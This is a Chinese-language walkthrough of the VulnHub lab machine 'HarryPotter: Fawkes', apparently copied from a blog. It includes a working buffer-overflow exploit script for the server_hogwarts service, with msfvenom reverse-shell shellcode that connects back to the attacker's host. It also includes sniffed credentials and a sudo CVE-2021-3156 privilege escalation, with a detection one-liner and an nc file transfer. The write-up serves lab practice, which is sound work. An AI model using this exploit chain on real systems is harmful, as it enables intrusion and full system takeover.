Fawkes(vulnhub)

HarryPotter: Fawkes ~ VulnHub

此靶机难度高

目录

1.主机发现

2. 端口扫描

3.漏洞发现

Ftp

4.缓冲区溢出

使用edb调试server_hogwarts

攻击思路:

确定溢出位置:

5.反弹shell

构造exp

拿下靶机shell

升级shell

6.提权(信息收集)

信息收集

流量分析

提权

漏洞检测

漏洞利用

找网上的exp测试

​编辑

执行


1.主机发现

arp-scan -l

2. 端口扫描

nmap -p- 192.168.56.110
nmap -A 192.168.56.110

Fawkes(vulnhub)_第1张图片

3.漏洞发现

进入主页,目录扫描→什么都没有

Ftp

ftp 192.168.56.110
anonymous
密码为空
一个文件下载下来

Fawkes(vulnhub)_第2张图片

查看文件是什么:linux的可执行程序,那就执行。

chmod +x 文件
./文件

然后就没返回东西,既然在执行,那看下进程有什么

ps aux | grep server

发现了进程,那么看看进程有没有开放别的端口服务

ss -pantu | grep server

Fawkes(vulnhub)_第3张图片

看到开放了9898端口,和靶机上的一样

看看自己这个端口有什么:什么也没有。

nc 127.0.0.1 9898

Fawkes(vulnhub)_第4张图片

再看看靶机的端口会有什么:和本地一样的,没有收获

Fawkes(vulnhub)_第5张图片

4.缓冲区溢出

使用edb调试server_hogwarts

kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致我们无法确定缓冲区溢出的位置。所以要关闭。

cd /proc/sys/kernel
echo 0 > randomize_va_space   默认是 2
apt install edb-debugger

调试工具有gdb→命令行的工具,使用edb-debugger工具,更有利于使用

执行输入edb就可以了。

启动测试的服务。打开工具,找到服务,点击run

Fawkes(vulnhub)_第6张图片

使用python输出500个A,然后在输入处进行测试

python -c "print('A'*500)"

结果调试器报错了,提示的0x414141意思就是 A

Fawkes(vulnhub)_第7张图片

攻击思路:

我们可以看到EIP寄存器都被指令414141也就是A 覆盖,ESP同样被覆盖,EIP种存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体的指令,我们修改EIP的内容,从而使指令跳转到ESP,强制执行ESP的指令。从而可以反弹shell。

Fawkes(vulnhub)_第8张图片

确定溢出位置:

使用msf的生成500字符

msf-pattern_create -l 500

生成500个不同的字符序列

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

重启edb以及服务

输入上述500字符,报错内容如下:

Fawkes(vulnhub)_第9张图片

找到字符位置:

msf-pattern_offset -l 500 -q 64413764

偏移量为112,那么从64413764就是从113开始的

再测试一次,从113换成B 也就是42 ,后面跟C。

python -c "print('A'*112+'BBBB'+'C'*100)"

结果显而易见。

Fawkes(vulnhub)_第10张图片

我们可以构造脚本反弹shell了

Fawkes(vulnhub)_第11张图片

寻找可执行权限的
Fawkes(vulnhub)_第12张图片

find→找到jmp esp的位置

Fawkes(vulnhub)_第13张图片

在机器指令中,需要反向写

08049d55
\x55\x9d\x04\x08

5.反弹shell

使用msfvenom生成python的十六进制payload

其中的x86是因为我们看到文件内容写的是32位,

-b 去掉坏字符 "\x00" 不然程序会在执行到\x00时停止执行

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.43.27 LPORT=4444 -b "\x00" -f python

Fawkes(vulnhub)_第14张图片

 

buf =  b""
buf += b"\xbf\xab\x93\x7d\x8b\xda\xca\xd9\x74\x24\xf4\x5d\x33"
buf += b"\xc9\xb1\x12\x31\x7d\x12\x83\xc5\x04\x03\xd6\x9d\x9f"
buf += b"\x7e\x19\x79\xa8\x62\x0a\x3e\x04\x0f\xae\x49\x4b\x7f"
buf += b"\xc8\x84\x0c\x13\x4d\xa7\x32\xd9\xed\x8e\x35\x18\x85"
buf += b"\xd0\x6e\xe2\x33\xb9\x6c\x13\xaa\x65\xf8\xf2\x7c\xf3"
buf += b"\xaa\xa5\x2f\x4f\x49\xcf\x2e\x62\xce\x9d\xd8\x13\xe0"
buf += b"\x52\x70\x84\xd1\xbb\xe2\x3d\xa7\x27\xb0\xee\x3e\x46"
buf += b"\x84\x1a\x8c\x09"  

构造exp

其中\x90是 空指令 目的是使程序执行更加稳定。一般是4的倍数个

#!/usr/bin/python2
import sys,socket
buf =  b""
buf += b"\xbf\xab\x93\x7d\x8b\xda\xca\xd9\x74\x24\xf4\x5d\x33"
buf += b"\xc9\xb1\x12\x31\x7d\x12\x83\xc5\x04\x03\xd6\x9d\x9f"
buf += b"\x7e\x19\x79\xa8\x62\x0a\x3e\x04\x0f\xae\x49\x4b\x7f"
buf += b"\xc8\x84\x0c\x13\x4d\xa7\x32\xd9\xed\x8e\x35\x18\x85"
buf += b"\xd0\x6e\xe2\x33\xb9\x6c\x13\xaa\x65\xf8\xf2\x7c\xf3"
buf += b"\xaa\xa5\x2f\x4f\x49\xcf\x2e\x62\xce\x9d\xd8\x13\xe0"
buf += b"\x52\x70\x84\xd1\xbb\xe2\x3d\xa7\x27\xb0\xee\x3e\x46"
buf += b"\x84\x1a\x8c\x09"  
 
payload='A'*112+'\x55\x9d\x04\x08'+'\x90'*32+buf
try:
    s=socket.socket()
    s.connect(('127.0.0.1',9898))
    s.send((payload))
    s.close()
except:
    print('wrong')
    sys.exit()

重启程序,测试exp

Fawkes(vulnhub)_第15张图片

执行成功:

Fawkes(vulnhub)_第16张图片

这是对本机的测试

拿下靶机shell

Fawkes(vulnhub)_第17张图片

升级shell

只能使用/bin/sh -i升级shell了

Fawkes(vulnhub)_第18张图片

6.提权(信息收集)

看看目录:隐藏文件→有个可能是认证信息→查看

可能是密码
HarrYp0tter@Hogwarts123

Fawkes(vulnhub)_第19张图片

拿harry和密码去登录ssh

22端口不行,还记得有个2222端口

是可行的

Fawkes(vulnhub)_第20张图片

提权试试:发现自己在容器中

sudo -l
sudo -s    或者    sudo /bin/sh

Fawkes(vulnhub)_第21张图片

信息收集

挨个目录查看信息:意思就是让我们看看ftp流量呗

Fawkes(vulnhub)_第22张图片

流量分析

tcpdump -i eth0 port 21

Fawkes(vulnhub)_第23张图片

 

等一会得到:

Fawkes(vulnhub)_第24张图片

账号密码:neville bL!Bsg3k

成功进去

Fawkes(vulnhub)_第25张图片

再次确定是否是docker中

Fawkes(vulnhub)_第26张图片

提权

sudo -l
输入刚才的密码
但是没有权限使用sudo。

内核漏洞(CVE-2021-3156)

neville@Fawkes:~$ uname -a
Linux Fawkes 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux

可利用版本

CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blog

 Ubuntu 20.04 (Sudo 1.8.31), Debian 10 (Sudo 1.8.27), and Fedora 33 (Sudo 1.9.2). Other operating systems and distributions are also likely to be exploitable.

查看靶机的版本信息:

lsb_release -a

No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

sudo --version

Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27

漏洞检测

sudoedit -s '\' `perl -e 'print "A" x 65536'` 
返回值:
malloc(): corrupted top size 
Aborted (core dumped) 

漏洞利用

使用MSF失败了

找网上的exp测试

CVE-2021-3156/exploit_nss.py at main · worawit/CVE-2021-3156 · GitHub

修改sudo的位置(路径)

Fawkes(vulnhub)_第27张图片

把我本地的文件传到靶机上:

不用http服务了→使用nc命令传

靶机执行

nc -nvlp 4444 > exp.py

kali上

nc 192.168.56.110 4444 < CVE-2021-2156.py   -w 1  //1秒断开

执行

成功提权

Fawkes(vulnhub)_第28张图片

第二个flag

你可能感兴趣的:(Vulnhub靶场,linux,web安全,网络安全)